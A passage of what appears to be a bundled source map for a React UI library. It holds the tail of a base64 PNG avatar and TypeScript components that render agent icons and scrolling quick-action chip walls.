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';\n","import { FAE_AVATAR_DATA_URI } from '../assets/fae-avatar';\nimport { MingoIcon } from './icons';\n\nexport type AgentName = 'fae' | 'mingo';\n\nexport interface AgentMarkProps {\n  /** Which AI agent's mark to render. */\n  agent: AgentName;\n  /** Sizing/positioning classes applied to the mark (e.g. `w-5 h-5`). */\n  className?: string;\n  /** Override Fae's avatar source. Defaults to the avatar PACKAGED with the library (a\n   *  base64 data URI), so every consumer renders it without serving any host asset. */\n  faeAvatarSrc?: string;\n}\n\n/**\n * Unified Fae/Mingo agent mark — the ONE place that knows how each agent is drawn:\n * Mingo = its vector `MingoIcon`; Fae = its avatar (Fae has no vector), shipped with the\n * library. Just the glyph — the caller sizes/boxes it. Both branches are decorative.\n */\nexport function AgentMark({ agent, className = '', faeAvatarSrc = FAE_AVATAR_DATA_URI }: AgentMarkProps) {\n  return agent === 'mingo' ? (\n    <MingoIcon className={className} aria-hidden=\"true\" focusable=\"false\" />\n  ) : (\n    <img src={faeAvatarSrc} alt=\"\" className={className} />\n  );\n}\n","'use client';\n\nimport type { ReactElement } from 'react';\nimport Image from '../embed-shims/next-image';\nimport { AgentMark, type AgentName } from './agent-mark';\nimport { resolveIcon } from './chat/utils/icon-library';\n\n/** Unified icon value used across the app (announcement bar, chat quick actions,\n *  AI-agent identity). Exactly one of `name`/`url` is typically set. */\nexport interface EntityIconValue {\n  /** Library glyph name resolved via {@link resolveIcon} (icons-v2 + curated aliases). */\n  name?: string | null;\n  /** Uploaded image URL — wins over `name`. */\n  url?: string | null;\n  /** Props spread onto the resolved glyph (e.g. `{ color }`). */\n  props?: Record<string, unknown> | null;\n}\n\nconst BRAND_MARK_NAMES = new Set<string>(['fae', 'mingo']);\n\n/**\n * THE single icon-display path for the whole app. Resolution order:\n *   1. `url` → uploaded image\n *   2. `name` ∈ {fae,mingo} → packaged `AgentMark`\n *   3. `name` → library glyph via `resolveIcon` (+ `props`)\n *\n * Replaces the old per-surface logic (the announcement bar's `renderSvgIcon`\n * map and the chat's ad-hoc `resolveIcon` calls) so every surface renders an\n * icon identically.\n */\nexport function EntityIcon({\n  icon,\n  size = 20,\n  className,\n}: {\n  icon?: EntityIconValue | null;\n  size?: number;\n  className?: string;\n}): ReactElement {\n  if (icon?.url) {\n    return (\n      <Image\n        src={icon.url}\n        alt=\"\"\n        width={size}\n        height={size}\n        className={className}\n        style={{ objectFit: 'contain' }}\n        unoptimized\n      />\n    );\n  }\n  if (icon?.name && BRAND_MARK_NAMES.has(icon.name)) {\n    // Size via `className` when provided (so responsive Tailwind sizing like\n    // `w-6 md:w-8` works); fall back to a fixed `size` px box ONLY when no\n    // className is given — an inline `style` would otherwise override the class.\n    return (\n      <span\n        className={`inline-flex${className ? ` ${className}` : ''}`}\n        style={className ? undefined : { width: size, height: size }}\n      >\n        <AgentMark agent={icon.name as AgentName} className=\"h-full w-full\" />\n      </span>\n    );\n  }\n  const Glyph = resolveIcon(icon?.name ?? undefined);\n  return <Glyph size={size} className={className} {...(icon?.props ?? {})} />;\n}\n","'use client';\n\nimport { type ReactNode, useMemo } from 'react';\nimport type { MarqueeSyncController } from '../ui/marquee-wall';\nimport type { QuickActionIconSpec, QuickActionChip } from './quick-action-chip';\nimport { QuickActionWall } from './quick-action-wall';\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface QuickActionMarqueeItem {\n  /** Stable key (suffixed per track copy internally). */\n  id: string;\n  label: string;\n  icon?: ReactNode | QuickActionIconSpec;\n}\n\nexport interface QuickActionMarqueeProps {\n  items: ReadonlyArray<QuickActionMarqueeItem>;\n  /** `'animated'` (default): endless scroll. `'plain'`: a static chip row —\n   *  the consumer's opt-out of the marquee (no motion, no track padding\n   *  effects beyond the plain layout). */\n  mode?: 'animated' | 'plain';\n  /** Scroll direction. `'right'` reverses the travel. Default `'left'`. */\n  direction?: 'left' | 'right';\n  /** Scroll speed in px/s — the shared marquee unit (CardsStrip cruises at\n   *  60). Default 40: on-screen speed stays constant no matter how many quick\n   *  actions an agent has (the engine is position-based, not loop-based). */\n  speed?: number;\n  /** Pause the scroll while hovered. Default true. */\n  pauseOnHover?: boolean;\n  /** When provided chips are interactive buttons; omitted → decorative tags. */\n  onSelect?: (item: QuickActionMarqueeItem) => void;\n  /** Repeat-pad the track to at least this many chips so one copy overflows\n   *  the widest container this strip can get (the loop only engages on\n   *  overflow). Default 12 ≈ 2600px+, enough for a full-bleed max-w-[1920px]\n   *  section. */\n  minChips?: number;\n  /** Pair with a sibling marquee under ONE position driver (the resolve\n   *  strips' pending/resolved copies stay pixel-locked). */\n  sync?: MarqueeSyncController;\n  className?: string;\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * Endless horizontally-scrolling strip of quick-action chips (Figma fae/mingo\n * marquee rows) — the single-row preset of {@link QuickActionWall} (same\n * chips, same engine, `flex-nowrap` layout). Clone-copy chips stay\n * interactive when `onSelect` is set (clone wrapper a11y applies). Pauses on\n * hover (optional) and always under `prefers-reduced-motion`.\n */\nexport function QuickActionMarquee({\n  items,\n  mode = 'animated',\n  direction = 'left',\n  speed = 40,\n  pauseOnHover = true,\n  onSelect,\n  minChips = 12,\n  sync,\n  className,\n}: QuickActionMarqueeProps) {\n  const chips = useMemo<QuickActionChip[]>(\n    () =>\n      items.map(item => ({\n        id: item.id,\n        label: item.label,\n        icon: item.icon,\n        onSelect: onSelect ? () => onSelect(item) : undefined,\n      })),\n    [items, onSelect],\n  );\n\n  if (items.length === 0) return null;\n\n  return (\n    <QuickActionWall\n      chips={chips}\n      mode={mode}\n      axis=\"x\"\n      reverse={direction === 'right'}\n      speed={speed}\n      pauseOnHover={pauseOnHover}\n      // Plain mode shows the items once, untruncated; padding only serves\n      // the endless loop.\n      minChips={mode === 'plain' ? undefined : minChips}\n      copyGap=\"var(--spacing-system-xsf)\"\n      className={className}\n      contentClassName=\"flex-nowrap items-center\"\n      sync={sync}\n    />\n  );\n}\n","'use client';\n\nimport { useRef, useState, useEffect, useMemo } from 'react';\nimport { cn } from '../../utils/cn';\nimport {\n  MarqueeWall,\n  MarqueeWallFades,\n  type MarqueeSyncController,\n  type MarqueeWallFadeEdge,\n  type MarqueeWallProps,\n} from '../ui/marquee-wall';\nimport {\n  QuickActionChipSkeleton,\n  QuickActionChipFromData,\n  type QuickActionThemeSpec,\n  type QuickActionChip,\n} from './quick-action-chip';\n\n// =============================================================================\n// Shared wall constants\n// =============================================================================\n\n/** Skeleton label widths (ch) — realistic spread, cycled. THE wall-skeleton\n *  spread, shared with the company-hub deck's ChipWall: sized so a 24-item\n *  wall overflows typical caps at any viewport width (same fill + fade as\n *  the loaded state — zero height jump when data lands). */\nexport const WALL_SKELETON_LABEL_CH = [17, 24, 14, 20, 15, 25, 12, 21, 16, 19, 13, 23];\n\n/** Deterministic index-alternating merge — the mixed \"one stream\" pile\n *  (deck slide 3's IT+SEC blend and its Storybook mirror). Input order\n *  stable → the blend never reshuffles across renders or consumers. */\nexport function interleave<T>(a: ReadonlyArray<T>, b: ReadonlyArray<T>): T[] {\n  const out: T[] = [];\n  for (let i = 0; i < Math.max(a.length, b.length); i++) {\n    if (a[i] !== undefined) out.push(a[i]);\n    if (b[i] !== undefined) out.push(b[i]);\n  }\n  return out;\n}\n\n// Brick-mode padding fallback: ~14 columns of chips per row — one row copy\n// overflows any sensible container, so the loop always engages. Used as the\n// row-count reference, and as the pad target until the container and chip\n// widths have been measured (then the per-row target adapts — see chipWidth).\nconst DEFAULT_MIN_CHIPS_PER_ROW = 14;\n\n// The adaptive pad target is derived from the MEASURED narrowest chip, not a\n// guessed width: repeats = ceil(containerWidth / measuredChipWidth) + margin.\n// Measuring (rather than assuming ~72px) is what makes it correct for a tiny\n// one-word chip AND a wide multi-word one — a guess that overshoots the real\n// chip under-pads and the row silently stops scrolling.\nconst ADAPTIVE_PAD_MARGIN = 2;\n// Divide-by-near-zero guard ONLY: floors a glitched sub-pixel measurement, but\n// stays BELOW the narrowest real chip (padding alone is wider), so a genuinely\n// tiny one-glyph chip keeps its true measured width and still gets enough\n// repeats to overflow. MAX_ADAPTIVE_PAD bounds the count if the measurement is\n// ever degenerate.\nconst MIN_MEASURED_CHIP_PX = 12;\n// Sanity bounds on the resulting count.\nconst MIN_ADAPTIVE_PAD = 4;\nconst MAX_ADAPTIVE_PAD = 60;\n\n// Chat-agent walls (fae/mingo) cap the brick stack at 2 rows so the quick\n// actions never crowd the composer; every other surface keeps the caller's\n// `rows` as its cap.\nconst AGENT_MAX_ROWS = 2;\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface QuickActionWallProps {\n  /** The wall's chips — the shared {@link QuickActionChip} shape (same as the\n   *  chat rows), including per-chip `theme`/`lozenge` for mixed IT/SEC\n   *  streams. Chips with `onSelect` render as buttons; without, as tags. */\n  chips: ReadonlyArray<QuickActionChip>;\n  /** Wall-default {@link QuickActionThemeSpec} for chips without their own.\n   *  Caller-supplied — the lib ships no theme registry; resolve agent colors\n   *  server-side (e.g. `accentFromIdentityIcon`) and pass the spec here. */\n  theme?: QuickActionThemeSpec;\n  /** `'animated'` (default): marquee + overflow fades. `'plain'`: no motion,\n   *  no blur — the consumer's per-surface opt-out (forwarded to\n   *  {@link MarqueeWall}; in brick mode the rows render static and the\n   *  stack-level fades are skipped). */\n  mode?: 'animated' | 'plain';\n  /** Render every chip's theme lozenge (classification walls). Per-chip\n   *  `lozenge` values still win. */\n  lozenges?: boolean;\n  /** Marquee axis — defaults to where `fade` sits (see {@link MarqueeWall}). */\n  axis?: MarqueeWallProps['axis'];\n  reverse?: boolean;\n  /** px/s. Default 40 (MarqueeWall default). */\n  speed?: number;\n  /** Marquee on/off (auto-off when content fits / reduced motion / loading). */\n  animate?: boolean;\n  pauseOnHover?: boolean;\n  /** Opt-in manual drag + wheel scroll (forwarded to {@link MarqueeWall}) — the\n   *  auto-marquee pauses while the user drags/wheels and resumes from there.\n   *  Enabled on the embeddable-chat quick-action walls. */\n  dragScroll?: boolean;\n  fade?: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge>;\n  /** Color behind the wall — the fades blend into it. */\n  fadeColor?: string;\n  fadeSize?: MarqueeWallProps['fadeSize'];\n  /** THE wall pitch — one value drives the chip gap, the clone-seam gap, and\n   *  (in brick mode) the row-stack gap, so the courses read as a uniform wall\n   *  and the seam is invisible by construction. Default\n   *  `var(--spacing-system-xsf)`. */\n  copyGap?: number | string;\n  /** Pad the track by REPEATING the chips up to this count (suffixed keys) so\n   *  one copy always overflows the container and the loop engages — without\n   *  it a wall whose content roughly fits its box goes static (the marquee\n   *  only loops what overflows). Defaults to `rows × 14` in brick mode;\n   *  unset otherwise (capped walls that always overflow, and FLIP-tracked\n   *  walls where repeats would duplicate flip ids, need no padding). */\n  minChips?: number;\n  /**\n   * BRICK-WALL mode: the MAXIMUM number of stacked single-row marquees. The\n   * actual row count grows with the chip supply — `ceil(chips / 14)` capped at\n   * `rows` — so a short action set fills one row (padded with its own repeats)\n   * instead of spreading one chip per row. The originals are split evenly\n   * ACROSS the active rows first, THEN each row pads to a full course, so no\n   * row is ever all-duplicates while another holds the unique chips. Rows pack\n   * edge-to-edge like bricks (a grid would column-align mismatched widths and\n   * leave holes) and each loops on its own wrap. Horizontal only; the fades\n   * draw ONCE over the whole stack.\n   */\n  rows?: number;\n  /**\n   * Chat agent this wall belongs to (`'fae'` / `'mingo'`). When set to a\n   * built-in agent it caps the brick stack at {@link AGENT_MAX_ROWS} (2) so the\n   * actions stay compact above the composer; any other value (or unset) leaves\n   * the cap at `rows`. Optional — decorative/marketing walls omit it.\n   */\n  agentSlug?: string;\n  /** Draw skeleton chips instead of `chips` (the shared\n   *  {@link QuickActionChipSkeleton} — 1:1 geometry with loaded chips).\n   *  Callers own the policy (`loading` flag vs skeleton-when-empty). */\n  loading?: boolean;\n  skeletonCount?: number;\n  /** Outer container (sizing: height cap for vertical walls). */\n  className?: string;\n  /** Per-copy layout — default a wrapping chip wall. Override for single-row\n   *  marquee strips (`flex-nowrap`). */\n  contentClassName?: string;\n  /** Pair with sibling walls under one position driver (resolve strips). */\n  sync?: MarqueeSyncController;\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * <QuickActionWall> — THE quick-action chip wall: a themed pile of the shared\n * chip on the shared {@link MarqueeWall} engine. One component for every\n * surface that shows \"the work the agents do\" — homepage hero tabs, deck\n * panels, marketing strips — whether static-with-fade or endlessly scrolling\n * (axis follows the fade), interactive or decorative.\n *\n * Clone-copy chips stay INTERACTIVE (pointer cursor + working click) — the\n * loop paints clones inside the viewport (reverse walls even START on the\n * clone copy), and a visible chip that ignores clicks reads as broken. A11y\n * holds via the clone wrapper: aria-hidden + focus suppression (the standard\n * Swiper/Splide loop-clone treatment, same as CardsStrip). `pauseOnHover`\n * (default on) freezes the track under a pointing cursor so chips never\n * dodge a click.\n */\nexport function QuickActionWall({\n  chips,\n  theme,\n  mode = 'animated',\n  lozenges = false,\n  axis,\n  reverse,\n  speed,\n  animate = true,\n  pauseOnHover,\n  dragScroll = false,\n  fade,\n  fadeColor,\n  fadeSize,\n  copyGap,\n  minChips,\n  rows,\n  agentSlug,\n  loading = false,\n  skeletonCount = 24,\n  className,\n  contentClassName,\n  sync,\n}: QuickActionWallProps) {\n  // Adapt the per-row pad target to the actual geometry (brick mode only): a\n  // narrow chat composer needs only a handful of repeats to overflow, a wide\n  // wall needs many, and a tiny chip needs more repeats than a wide one. We\n  // measure BOTH the container width and the narrowest rendered chip, then pad\n  // to ceil(width / chip) + margin. Pre-measure / SSR falls back to the fixed\n  // default, which overflows any width.\n  const brickRef = useRef<HTMLDivElement>(null);\n  const [brickWidth, setBrickWidth] = useState(0);\n  const [chipWidth, setChipWidth] = useState(0);\n  useEffect(() => {\n    const el = brickRef.current;\n    if (!el) return undefined;\n    // Read both widths straight off the laid-out DOM (offsetWidth is synchronous\n    // and reliable — a ResizeObserver initial callback can be throttled or never\n    // fire in a backgrounded/offscreen tab, which would strand the target on its\n    // fallback). Chips render as buttons on interactive walls — the only case\n    // that pads short sets; decorative walls keep the fallback. Converges in one\n    // pass: the widths don't depend on how many repeats we then draw.\n    const measure = () => {\n      const w = el.offsetWidth;\n      if (w > 0) setBrickWidth(prev => (prev === w ? prev : w));\n      const chipWidths = [...el.querySelectorAll('button')].map(b => (b as HTMLElement).offsetWidth).filter(x => x > 0);\n      if (chipWidths.length > 0) {\n        const min = Math.max(Math.min(...chipWidths), MIN_MEASURED_CHIP_PX);\n        setChipWidth(prev => (prev === min ? prev : min));\n      }\n    };\n    measure();\n    if (typeof ResizeObserver === 'undefined') return undefined;\n    const ro = new ResizeObserver(measure);\n    ro.observe(el);\n    return () => ro.disconnect();\n  }, [chips]);\n\n  // Repeat-pad the track (stable suffixed keys; repeats keep the full chip —\n  // identical selected/interactive state, so every visible instance behaves\n  // the same and the clone copy stays geometry-identical by construction).\n  // Brick mode does its own per-row padding below, so this pads only the\n  // single-track (wrap / vertical) walls.\n  const padTarget = rows ? undefined : minChips;\n  const track = useMemo(() => {\n    if (!padTarget || chips.length === 0 || chips.length >= padTarget) return chips;\n    const repeats = Math.ceil(padTarget / chips.length);\n    return Array.from({ length: repeats }, (_, r) =>\n      r === 0 ? chips : chips.map(chip => ({ ...chip, id: `${chip.id}__r${r}` })),\n    ).flat();\n  }, [chips, padTarget]);\n\n  const renderSkeletons = (count: number, offset = 0) =>\n    Array.from({ length: count }, (_, i) => (\n      <QuickActionChipSkeleton\n        key={i}\n        lozenge={lozenges}\n        labelCh={WALL_SKELETON_LABEL_CH[(offset + i) % WALL_SKELETON_LABEL_CH.length]}\n      />\n    ));\n\n  const renderChipNodes = (list: ReadonlyArray<QuickActionChip>) =>\n    list.map(chip => (\n      <QuickActionChipFromData\n        key={chip.id}\n        chip={chip}\n        defaultTheme={theme}\n        defaultLozenge={lozenges}\n        interactive={!!chip.onSelect}\n        className=\"max-w-full\"\n      />\n    ));\n\n  const renderChips = () => (loading ? renderSkeletons(skeletonCount) : renderChipNodes(track));\n\n  // ONE pitch for chips, clone seams, and (brick mode) the row stack — a\n  // custom `copyGap` moves all three together, so no seam can ever disagree\n  // with the chip gap.\n  const gap = copyGap ?? 'var(--spacing-system-xsf)';\n\n  // ---- BRICK-WALL mode: stacked independent row marquees ---------------------\n  if (rows && rows > 0) {\n    // Chat-agent walls (fae/mingo) grow the stack with the chip supply and cap\n    // it at AGENT_MAX_ROWS (2) so the actions stay compact above the composer.\n    // Every other surface keeps 